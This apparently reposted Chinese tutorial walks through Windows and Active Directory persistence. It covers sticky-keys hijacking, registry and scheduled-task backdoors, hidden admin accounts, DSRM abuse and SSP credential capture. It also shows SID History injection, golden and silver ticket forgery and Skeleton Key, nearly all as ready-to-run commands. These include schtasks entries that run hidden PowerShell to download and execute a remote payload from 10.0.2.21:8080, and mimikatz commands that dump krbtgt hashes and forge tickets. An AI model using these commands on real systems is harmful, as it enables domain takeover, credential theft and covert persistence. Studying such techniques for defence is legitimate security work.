在 windows/system32 下,直接将 sethc 程序替换成 cmd.exe
如果目标机是
windows vista
以上的,即windows vista
以后出的系统,修改 sethc 会提示需要trustedinstaller
权限,trustedinstaller
是一个安全机制,即系统的最高权限,权限比administrator
管理员高.
windows 下的权限主要包括:user,administrator,system,trustedinstaller
没有system
高,所以需要修改sethc
, 需要将其所有者改为改为我们当前管理员用户
这时可以重命名,也可以直接删除,然后复制 cmd 修改 sethc 即可,然后在锁屏没有密码情况下,可以直接按 5 下 shift 调出 cmd
通过修改注册表的映像劫持
和打开其远程桌面
来实现。
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
命令说明:reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE 的缩写。Image File Execution Option 这个目录就是用来设置镜像劫持的,要被劫持的就是命令中的 sethc 粘滞键程序,随后通过 /v 来指定键名,这个键名 debugger 是固定的,然后通过 /t 来指定类型,即 REG_SZ 字符串类型,最后通过 /d 来指定键的值,即被恶意替换的程序,也就是我们的 cmd。
效果如下:
开启启动项
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
msf 下的命令:
use exploit/windows/local/persistence
schtasks
命令参数如下:
/Create 创建新任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符
# schtasks 命令
# 每天晚上 03:30 定时执行
schtasks /create /tn "TimedTask1" /tr C:\Users\Administrator\Desktop\TimedTask\Run.bat /sc DAILY /st 03:30
# statement A# 查询创建的任务
schtasks /query /tn TimedTask1 /v# 立即运行创建的任务
schtasks /run /tn TimedTask1# 删除任务
schtasks /delete /tn TimedTask1
搭配远程下载如下:
#(X64) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30#(X86) - On User Login
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System#(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
evil3.vbs
-> 恶意VBS脚本。创建事件过滤器,捕获账户成功登陆的事件;创建活动脚本事件消费者,捕获到事件后执行远程脚本pnc.js;绑定过滤器和消费者。
然后类似于nc一样的工具进行连接:
参考项目 :
https://github.com/SAMOxtan/WMI_Fileless_Backdoor
https://github.com/SAMOxtan/WMI_Fileless_Backdoor
net user test$ 123456Qaq /add
net localgroup administrators test$ /add
主要是创建影子用户的思路:https://blog.csdn.net/weixin_51339377/article/details/124168411
DSRM(Directory Services Restore Mode) 是 Windows 域环境中域控制器的安全模式启动选项。每个域控制器有一个本地管理员账号(也就是 DSRM 账号)。DSRM 的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置。修改 DSRM 密码最基本的方法是在 DC 上运 ntdsutil 行命令。
在渗透测试中,可以使用 DSRM 账号对域环境进行持久化操作。
如果域控制器的系统版本为 Windows Server 2008,则需要安装 KB96132 补丁才可以使用指定域账号的密码对 DSRM 的密码进行同步。
在 Windows Server 2008 以后版本的系统中不需要安装此补丁。
如果域控制器的系统版本为 Windows Server 2003,则不能使用该方法进行持久化操作。
每个 DC 都有本地管理员(administrator)账号和密码。DSRM 账号可以作为 DC 的本地管理员用户,通过网络连接 DC,进而控制 DC。
在 DC 上,DSRM 账号的表现形式是本地的 administrator 用户,也就是说本地 administrator 用户 = DSRM 账号
参考链接:https://blog.csdn.net/weixin_36044132/article/details/119595410
微软官方给出的方法:
NTDSUTIL #打开ntdsutil
set DSRM password # :修改DSRM的密码
reset password on server xxxx # 在当前域控制器上重置DSRM的密码
# 重复确定两次密码以后就可以了
# q(第1次):退出DSRM密码设置模式
# q(第2次):退出ntdsutil
上传mimikatz
,在administrator
权限下执行命令
privilege::debug
lsadump::lsa /patch /name:krbtgt
获取到了krbtgt
NTLM Hash 和 SID
接下来查看并获取SAM文件中本地管理员的NTML也就是DSRM的NTLM Hash值
token::elevate
lsadump::sam
将DSRM账号和krbtgt的NTML HASH同步
NTDSUTIL
SET DSRM PASSWORD
SYNC FROM DOMAIN account krbtgt
我们发现 krbtgt的NTLM和 administrator的 hash成功同步
最后修改一下DSRM的登录方式,DSRM默认有三种方式
0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
1: 只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
通过以下命名设置方式改为:2
以管理员方式运行powershell:
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
最后,我们就可以使用本地administrator
账号哈希传递攻击域控
sekurlsa::pth /domain:main /user:test /ntlm:73265a93b877df146cf06d08ffa673e8
最后可以使用Mimikatz的 scysnc功能远程转储krbtgt的NTML Hash
lsadump::dcsync /domain:main.com /dc:DC /user:krbtgt
SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DLL
文件,主要用来实现Windows操作系统的身份认证功能,例如NTLM
、Ketberos
,Negotiare
.Seure Channe
(Schannel )、Digest
、Credental
( CredSSP )。
SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。
LSA( Local Security Authority),用于身份认证,常见进程为 lsass.exe
如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是: LSA (Local Security Authority
)用于身份验证;lsass.exe
作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到lsass.exe
进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe
进程中,就能够获取lsass.exe
进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。
使用 mimilib SSP
由于是针对本机的 LSA 进行 Patch,因此本方法只针对在当前机器上登录的用户起作用
privilege::debug
misc::memssp
注销用户之后,可以访问C:\Windows\System32\mimilsa.log
,会有日志文件
项目Mimikatz提供了一个DLL文件(mimilib.dll),可以将其放到与LSASS进程(System32)相同的位置,以便为访问受感染主机的任何用户获得纯文本凭据。
如下:
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll"
这里踩了一个坑,当路径已经到达末尾时,后面不要有
\
,否则会进行转义,如下:
但是却找不到
查看了一下注册表,没写进去
去掉\
之后,就成功写入了。
之后重启,访问c:\windows\system32\kiwissp.log
即可得到
每个用户帐号都有一个关联的安全标识符(简称SID),SID 用于跟踪安全主体在访问资源时的帐户与访问权限。为了支持 AD 迁移,微软设计了 SID History 属性,SID History 允许另一个帐户的访问被有效的克隆到另一个帐户。通过 SID History 可让用户拥有不同身份的权限,在单域中同样有效。
查询域内用户
dsquery user
将工具上传 https://github.com/lucasbiella/admodule
导入模块,查看用户的SID History
Import-Module activedirector
Get-ADUser liukaifeng01 -Properties sidhistory
使用Mimikatz将Administrator的SID添加到所选用户的SID History属性中
在使用mimikatz注入SID之前需要使用
sid::patch
命令修复NTDS服务,否则无法将高权限的SID注入低权限的用户的SID属性;mimikatz在2.1版本之后将
misc::addsid
模块添加到了NTDS:New Technology Directory Service,NT
# mimikatz
privilege::debug
sid::patch //以下命令如果执行失败则使用该命令修复NTDS服务
sid::add /sam:yyds /new:administrator
这时候再看一下
Hook PaswordChangeNoify
的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输人的密码明文。
在修改域控密码时会进行如下同步操作:
当修改域控密码时,LSA 首先调用 PasswordFileter 来判断新密码是否符合密码复杂度要求
如果符合,LSA 接着调用 PasswordChangeNotify 在系统上同步更新密码
函数 PasswordChangeNotify 存在于 rassfm.dll
rassfm.dll 可理解为 Remote Access Subauthentication dll,只存在于在 Server 系统下,xp、win7、win8 等均不存在
特点是:
不需要重启
不需要修改注册表
甚至不需要在系统放置dll
参考项目:
https://github.com/clymb3r/PowerShell
https://github.com/clymb3r/Misc-Windows-Hacking
==黄金票据的目的是:权限变更。==
假设域内存在一个SID为502的域账号krbtgt。krbtgt是 KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的NTLM Hash
或者AES-256
值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。攻击者在使用域的 Golden Ticket(黄金票据)进行票据传递攻击时,通堂要堂握以下信息:
完整的域名
需要伪造的域管理员用户名
域SID-Krbtgt的NTLM Hash或AES-256
操作系统 | 角色 | 域名 | 用户名 |
---|---|---|---|
Wins2012R2 | DC | main.com | 12451 |
windows 2008 | Client | main.com | test |
实现:
先获得hash 和SID
lsadump::lsa /patch #专用于在域控制器上导出用户密码或hash
我们得到krbtgt用户的Hash为:73265a93b877df146cf06d08ffa673e8,域sid为S-1-5-21-2214894582-1205818508-3793940241
切换到普通域用户的WEB主机或PC主机,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):
# kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
kerberos::golden /user:administrator /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /krbtgt:73265a93b877df146cf06d08ffa673e8 /ticket:ticket.kirbi
在当前目录下会生成一个ticket.kirbi
kerberos::purge //先清空所有票据
kerberos::ptt ticket.kirbi //再将生成的票据注入域用户主机
然后查看一下当前的票据内容
kerberos::tgt
对比一下之前的操作,当我们想看 DC下的共享目录的时候:拒绝访问
更改凭证之后
Silver Ticket(白银票据) 不同于 Golden Ticket, Silver Ticket的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要KDC颁发TGT,且在生成伪造的TGT 的20分钟内,TGS不会对该TGT 的真伪进行校验。
白银票据和黄金票据的区别:
金票是由krbtgt账号的密码散列值加密的,利用伪造高权限任意服务访回权限的票据,从而获得域控制器权限,而银票是由特定的服务账号来伪造TGS,例如LDAP、 MSSQL、WinRM、 DNS、CIFS 等,范围有限,只能获取有限的权限。
白银票据不经过KDC,因此白银票据日志相对于黄金票据要少,同时白银票据的日志都在目标服务器上,域控上不会有日志,更加隐蔽,但是白银票据的权限就不如黄金票据的权限了
和黄金票据不同的是,白银票据的针对性较强,没有金票的普适性,即拿到服务A的口令NTLM值只能伪造高权限的TGS票据,获得服务A的高权限访问,对服务B则完全无效。
应用服务类型 | 需要的服务 |
---|---|
VMI | HOST、RPCSS |
Powershell Remoting | HOST、HTTP |
WinRM | HOST、HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations | LDAP |
Windows Remote Server Administrations Tools | RPCSS、LDAP、CIFS |
输入klist
可以获得
这里很明显看到有两个服务,一个krbtgt
,一个是host
# mimikatz 操作
# 这里不要用管理员权限打开 mimikatz,否则会没有host服务
kerberos::list
接下来获取Hash,并且获取SID
lsadump::lsa /patch
获取了server名称:
/domain 域的名称 /dis 域的sid /service 指定服务类型 /ticket(可选) 指定路径保存票据 /ptt 直接注入内存 /rc4 域控机器ntlm
kerberos::golden /user:test /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /target:dc.main.com /rc4:e72477885554476fbc116b63a21f36e2 /service:host /ptt
然后就可以创建计划任务:
schtasks /create /S dc.main.com /tn "task1" /RU "system" /sc weekly /tr "c:\windows\system32\calc.exe"
kerberos::golden /user:test /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /target:dc.main.com /rc4:e72477885554476fbc116b63a21f36e2 /service:CIFS /ptt
同理,获取 HTTP / Wsman服务以后,可以获得目标系统上的WinRM
和Powershell
远程管理的权限。
在注入ldap服务票据后,可以获得目标系统上LDAP服务的管理权限,进而可以利用dcsync远程导出域控上的hash
Skeleton Key 被安装在 64 位的域控服务器上 支持 Windows Server2003 — Windows Server2012 R2 能够让所有域用户使用同一个万能密码进行登录 现有的所有域用户使用原密码仍能继续登录 重启后失效
使用 Skeleton Key 攻击时,NTLM、Kerberos 两种身份验证方法都会被篡改。例如,在NTLM身份验证期间,已注入 LSASS 进程中的主密码哈希将不会与SAM数据库进行比较,而将与 Skeleton Key 哈希进行比较,因此,身份验证将成功。
Kerberos 加密也将降级为不支持 Salt(RC4_HMAC_MD5)的算法,并且从活动目录中检索到的哈希将替换为 Skeleton Key 哈希。因此,主密码的哈希值将始终在服务器端进行验证,并且两种方法的身份验证都将成功。
IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
以下是环境:
操作系统 | 角色 | 域名 | 用户名 |
---|---|---|---|
Wins2012R2 | DC | main.com | 12451 |
windows 2008 | Client | main.com | test |
# 添加
net use \\DC\IPC$ "密码" /user:test\administrator
# 将之前建立的IPC$链接删除
net use \\dc\ipc$ /del /y
# 查看现有的IPC$链接
net use
使用添加
命令进行 IPC$的添加后,如下:
此时重启,会发现失效
在域控下操作:
#mimikatz
privilege::debug
misc::skeleton
会显示:
这时候会多一个万能的密码 mimikatz
我们删除原有的 ipc链接,进行新的建立
net use \\DC\ipc$ "mimikatz" /user:test\administrator
但是还是不行
查了一下其他写法(将user后面的名称改为 域 即可),才可以:
net use \\DC\ipc$ "mimikatz" /user:main\administrator
参考文章:https://blog.csdn.net/qq_36119192/article/details/109047093
这是一种基于域内对象 ACL(Access Control Link
)访问控制链的深度隐藏后门。
每个安装了域服务器的都会有两个共享目录,分别是:SYSVOL(C:\Windows\SYSVOL\sysvol)和 它下面的Script两个目录,任何账号都可以访问。
一定程度上说,控制了 SYSVOL
目录,就有很大概率控制域网络。
一般来说,域策略会强制周期性修改高权限用户的密码,但是对低权限用户来说不一定有这个强制性要求,而且域中往往有很多用户几乎不怎么登录、使用。
如果低权限用户具备 SYSVOL
目录的修改权限,登录域时,因为权限不高,不会被审计软件发现。现在的防护、监控类软件还没有过多关注目录的ACL,因此这种方式是一种很实用的隐蔽后门方式。
如果说是共享目录的话,我们尝试写入文件,
权限不够,那么我们加入权限
修改之后,成功写入
这种后门方式,只是演示了 ACL
后门的一种具体形式,因为域中的对象太多,可以操控的 ACL
对象也很多。可以根据自己的需要,灵活选择目标的ACL作为目标进行修改,埋藏后门。
基于获取域控的方法,通过dump DNSAdmin、exchange、localgroup中的RDP、BackupOperator组等高权限用户的hash,来对域控进行权限维持。
https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1
https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#%E7%9B%AE%E5%BD%95-acl
https://www.freebuf.com/articles/system/305304.html
原文地址:https://github.com/JDArmy/DCSec/blob/main/%E5%9F%9F%E6%8E%A7%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81.md
推荐阅读
查看更多精彩内容,还请关注橘猫学安全: